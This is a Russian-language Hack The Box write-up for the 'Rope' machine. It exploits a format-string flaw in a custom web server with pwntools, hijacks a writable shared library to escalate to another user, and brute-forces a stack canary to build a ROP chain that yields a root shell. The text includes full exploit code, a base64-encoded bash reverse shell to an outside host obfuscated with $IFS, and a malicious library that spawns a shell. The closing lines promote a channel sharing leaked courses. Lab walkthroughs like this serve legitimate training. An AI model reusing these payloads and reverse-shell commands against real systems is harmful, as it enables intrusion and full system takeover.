Hack The Box. Прохождение Rope. PWN. Форматные строки и ROP используя pwntools

image


Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье собираем много много pwn, которые будем решать средствами pwntools. Думаю будет полезно читателям с любым уровнем осведомленности в данной теме. Поехали…

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Recon


Данная машина имеет IP адрес 10.10.10.148, который я добавляю в /etc/hosts.

10.10.10.148    rope.htb


Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500


image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A rope.htb -p22,9999


image

На хосте работают службы SSH и веб-сервер. Зайдем на веб, и нас встретит форма авторизации.

image

При просмотре сканировании директорий, получаем не идексированную директорию / (http://rope.htb:9999//).

image

И в директории /opt/www находим исполняемый файл — это и есть наш веб-сервер.

image

HTTPserver PWN


Скачаем его и посмотрим, какая есть защита с помощью checksec.

image

Таким образом, мы имеем 32-х битное приложение со всеми активированными защитами, а именно:

  • Бит NX (not execute) — это технология, используемая в ЦП, которая гарантирует, что некоторые области памяти (такие как стек и куча) не могут быть выполнены, а другие, такие как раздел кода, не могут быть записаны. Это мешает нам записывать шеллкод в стек и выполнять его.
  • ASLR: в основном рандомизирует базу библиотек (libc), так что мы не можем знать адрес памяти функций libc. Это мешает атакам типа ret2libc.
  • PIE: этот метод, как и ASLR, рандомизирует базовый адрес, но из самого двоичного файла. Это затрудняет нам использование гаджетов или функций исполняемого файла.
  • Canary: обычно случайное значение, генерируется при инициализации программы и вставляется в конец области, где переполняется стек. В конце функции проверяется, было ли изменено значение канареек. Мешает выполнить переполнение и перезаписать адрес.


Благодаря тому, что мы можем читать файлы на сервере, мы можем прочитать карту процесса данного исполняемого файла. Это даст нам ответ на следующие вопросы:

  1. По какому адресу загружена сама программа?
  2. И по какому адресу, загружены используемые ей библиотеки?


Давайте сделаем это.

curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'


image

Таким образом, мы имеем два адреса: 0x56558000 и f7ddc000. При этом мы получаем путь к используемой libc библиотеки, скачаем ее тоже. Теперь с учетом всего найденного сделаем шаблон эксплоита.

from pwn import *
import urllib
import base64

host = 'rope.htb'
port = 9999

context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000 
libc_base = 0xf7ddc000


А теперь откроем сам файл для анализа в удобном для вас дизассемблере (с декомпилятором). Я использую IDA с кучей плагинов, и перед тем как засесть за глубокий анализ, предпочитаю посмотреть все, что мне могу собрать проверенные плагины. Один из множества таких — LazyIDA. И на запрос “scan format string vuln” получим табличку с потенциально уязвимыми функциями.

image

По опыту использования данного плагина, я сразу обратил внимание на вторую строку (на ее параметр формат). Переходим на место использования данной функции и декомпилируем ее.

image

И догадки подтверждены, строка просто передается в функцию printf. Давайте выясним, что это за строка. Перейдем на место вызова функции log_access.

image

Так нас интересует третий параметр, который был помечем IDA как file. И ответы на все вопросы мы получаем только лишь посмотрев перекрестные ссылки на данную переменную.

image

Таким образом, это указатель на строку — имя файла, который открывается для чтения. Так как данная переменная является результатом выполнения функции parse_request(), файл открывается для чтения, а вся программа представляет из себя веб-сервер, можно предположить, что это запрашиваемая на сервере страница.

curl http://127.0.0.1:9999/qwerty


image

Давайте проверим уязвимость форматной строки.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')


image

Отлично! Давайте определим смещение (сколько спецификаторов %p нужно отправить, чтобы в конце вывода получить 0x41414141 — AAAA).

image

Получаем 53. Проверим, что все верно.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')


image

Мы не можем получить локальный шелл, но можем выполнить команду, например кинуть реверс шелл:

bash -i >& /dev/tcp/10.10.15.60/4321 0>&1


Но чтобы избежать всяких неудобных символов, закодируем его в base64, тогда вызов шелла будет выглядеть так:

echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i


И в итоге заменим все пробелы на конструкцию $IFS. Получим команду, которую нужно выполнить для для получения бэкконнекта.

echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i


Давайте допишем это в код:

offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))


Теперь вернемся к нашей форматной строке. Так как после printf() вызывается puts, мы можем перезаписать ее адрес в GOT на адрес функции system из libc. Благодаря pwntools это очень легко сделать. Допустим, получить относительный адрес функции puts можно с помощью binary.got[‘puts’], также легко и с функцией system: libc.symbols[‘system’]. Про форматные строки и GOT подробно я описывал в статьях про pwn, поэтому здесь просто собираем форматную строку с помошью pwntools:

writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)


Собираем итоговую полезную нагрузку:

payload = shell + " /" + urllib.quote(format_string) + "\n\n"


Подключаемся и отправляем:

p = remote(host,port)
p.send(payload)
p.close()


Полный код выглядит так.

image

Выполним код и получим бэкконнект.

image

image

USER


Проверим настойки sudo для выполнения команд без пароля.

image

И видим, что можно выполнить readlogs от имени пользователя r4j. Уязвимости в приложении отсутствуют, GTFOBins тоже отсутствуют. Давайте посмотрим используемые приложением библиотеки.

image

ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"


image

То есть мы можем писать в данные файлы. Давайте напишем свою библиотеку.

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

void printlog(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}


Теперь компилируем ее.

gcc -c -Wall -Werror -fpic liblog.c


И собираем библиотеку.

Gcc -shared -o liblog.so liblog.o


После чего загружаем файл на хост, перезаписываем библиотеку и выполняем программу.

image

Таким образом, мы берем пользователя.

ROOT


Для перечисления системы используем linpeas.

image

Так на локалхосте прослушивается 1337 порт.

image

Как можно заметить, наш пользователь входит в группу adm. Давайте глянем доступные для данной группы файлы.

image

Есть интересный файл. И это та программа, что прослушивает порт.

image

При этом в приложение работает от имени root.

image

Скачаем себе само приложение и используемую им библиотеку libc. И отметим, что на хосте активен ASLR.

image

Проверим какую защиту имеет приложение.

image

Все по максимуму. То есть, если мы найдем переполнение буфера, нам нужно будет брутить канарейку(значение, которое проверяется перед выходом из функции, чтобы проверить целостность буфера), а в качестве техники эксплуатации уязвимости будем использовать ROP (о котором я уже довольно подробно писал здесь). Откроем программу в любом удобном для вас дизассемблере с декомпилятором (я использую IDA Pro). Декомпилируем основную функцию main.

image

Примером канарейки служит переменна v10, которая устанавливается в начале функции. Посмотрим, за что отвечает функция sub_1267.

image

Таким образом, здесь мы открываем порт для прослушивания. Можно переименовать ее в is_listen(); идем далее. Следующая пользовательская функция sub_14EE.

image

Перед отправкой присутствует еще одна пользовательская функция. Смотрим ее.

image

Таким образом, в данной функции принимается строка до 0x400 байт и записывается в буфер. В комментарии к переменной buf указан адрес относительно базы текущего кадра стека (rbp) — [rbp-40h], а переменная v3 (канарейка) имеет относительный адрес [rbp-8h], таким образом, для переполнения буфера, нам потребуется больше [rbp-8h] — [rbp-40h] = 0x40-8 = 56 байт.
Таким образом план следующий:

  1. найти и переполнить буфер;
  2. сбрутить канарейку, rbp и rip;
  3. так как активирован PIE, то нужно найти действительное смещение;
  4. найти утечку памяти для вычисления адреса, по которому загружена библиотека;
  5. Собрать ROP, в котором поток стандартных дескрипторов будет перенаправлен в сетевой дескриптор программы, после чего вызвать /bin/sh через функцию system.


1.Переполнение буфера


Как можно наблюдать ниже, при передаче 56 байт программа продолжает работать нормально, но передав 57 байт — получим исключение. Таким образом нарушена целостность буфера.

image

Давайте сделаем шаблон эксплоита. Так как нужно будет много перебирать и переподключаться, то отключим вывод сообщений pwntools (log_level).

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')

pre_payload = "A" * 56

r = remote(HOST, PORT)

context.log_level='info'
r.interactive()


2.Canary, RBP, RIP


Как мы разобрались, после 56 байт буфера идет канарейка, а после нее в стеке расположены адреса RBP и RIP, которые также нужно перебрать. Давайте напишем функцию подбора 8 байт.

def qword_brute(pre_payload, item):
    qword_ = b""
    while len(qword_) < 8:
        for b in range(256):
            byte = bytes([b])
            try:
                r = remote(HOST, PORT)
                print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
                send_ = pre_payload + qword_ + byte
                r.sendafter(b"admin:", send_)
                if b"Done" not in r.recvall(timeout=5):
                    raise EOFError
                r.close()
                qword_ += byte
                break
            except EOFError as error:
                r.close()
    context.log_level='info'            
    log.success(f"{item} found: {hex(u64(qword_))}")
    context.log_level='error' 
    return qword_


Таким образом мы можем составить pre_payload:

pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")


3.PIE


Теперь давайте разберемся с PIE. Мы нашли RIP — это адрес возврата, куда мы возвращаемся из функции. Таким образом, мы можем вычесть из него адрес возврата в коде.

image

Таким образом смещение от базы равно 0x1562. Давайте укажем реальный адрес запущенного приложения.

base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')


4.Memory leak


В приложении для для вывода строки приглашения используется стандартная функция write(), которая принимает дескриптор для вывода, буфер и его размер. Мы можем использовать данную функцию.

Для удобства работы давайте воспользуемся модулем ROP из pwntools. Вкратце, как и почему это работает представлено на изображении ниже.

image

Давайте получим утечку, это позволит нам узнать по какому адресу находится функция write в загруженной библиотеке libc.

rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']


5.ROP


Давайте изменим базовый адрес библиотеки libc и найдем адрес строки /bin/sh.

libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))


Осталось собрать ROP, в котором будет перенаправление стандартных дескрипторов ввода/вывода (0,1,2) в дескриптор, зарегистрированный в программе (4). После чего произойдет вызов функции system, куда мы передадим адрес строки /bin/sh.

rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)

payload = pre_payload + flat(rop_libc.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")


6. Эксплуатация
Полный код эксплоита.

image

Теперь на сервере запишем ключ ssh в файл /home/r4j/.ssh/authorizef_keys.

image

И пробросим порт (сделаем так, чтобы соединение с локального порта 1337 перенаправлялось по SSH на порт 1337 удаленного хоста).

ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb


И запускаем эксплоит.

image

Мы работаем под рутом.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

© Habrahabr.ru